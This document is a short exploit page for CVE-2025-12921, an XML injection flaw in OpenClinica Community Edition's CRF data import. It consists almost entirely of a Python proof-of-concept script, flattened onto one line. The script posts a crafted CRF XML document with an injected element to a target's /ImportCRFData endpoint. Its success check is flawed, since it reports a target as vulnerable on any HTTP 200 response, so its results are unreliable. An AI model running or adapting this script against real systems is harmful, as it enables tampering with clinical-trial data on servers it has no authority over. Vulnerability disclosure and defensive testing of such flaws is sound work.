CVE-2025-12921 OpenClinica Community Edition XML注入漏洞

import requests import sys # CVE-2025-12921 XML Injection PoC # Target: OpenClinica Community Edition CRF Data Import # Endpoint: /ImportCRFData?action=confirm def exploit_xml_injection(target_url, xml_payload): """ Exploit XML injection vulnerability in OpenClinica CRF Data Import Args: target_url: Base URL of vulnerable OpenClinica instance xml_payload: Malicious XML content to inject Returns: Response from the server """ endpoint = f"{target_url}/ImportCRFData" # Prepare the injection payload # The xml_file parameter is vulnerable to XML injection data = { 'action': 'confirm', 'xml_file': xml_payload } try: response = requests.post(endpoint, data=data, timeout=30) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-12921_poc.py <target_url>") print("Example: python cve-2025-12921_poc.py http://vulnerable-server:8080") sys.exit(1) target = sys.argv[1] # Basic XML injection payload - injects additional XML structure malicious_xml = '''<?xml version="1.0"?> <CrfData> <StudyOID>S_TEST</StudyOID> <MetaDataVersionOID>MV_001</MetaDataVersionOID> <SubjectData SubjectKey="SUBJECT_001" StudyEventOID="SE_VISIT1" StudyEventRepeatKey="1" FormOID="F_TEST" FormRepeatKey="1"> <ItemGroupData ItemGroupOID="IG_TEST" ItemGroupRepeatKey="1"> <ItemData ItemOID="I_TEST" Value="INJECTED_VALUE"> <injected_element>malicious_content</injected_element> </ItemData> </ItemGroupData> </SubjectData> </CrfData>''' print(f"[*] Targeting: {target}") print(f"[*] Sending XML injection payload to /ImportCRFData?action=confirm") print(f"[*] Payload length: {len(malicious_xml)} bytes") response = exploit_xml_injection(target, malicious_xml) if response: print(f"[+] Response Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") # Check for signs of successful injection if 'error' not in response.text.lower() or response.status_code == 200: print("[!] Target may be vulnerable - XML injection executed") else: print("[-] Injection may have been blocked or caused an error") if __name__ == "__main__": main()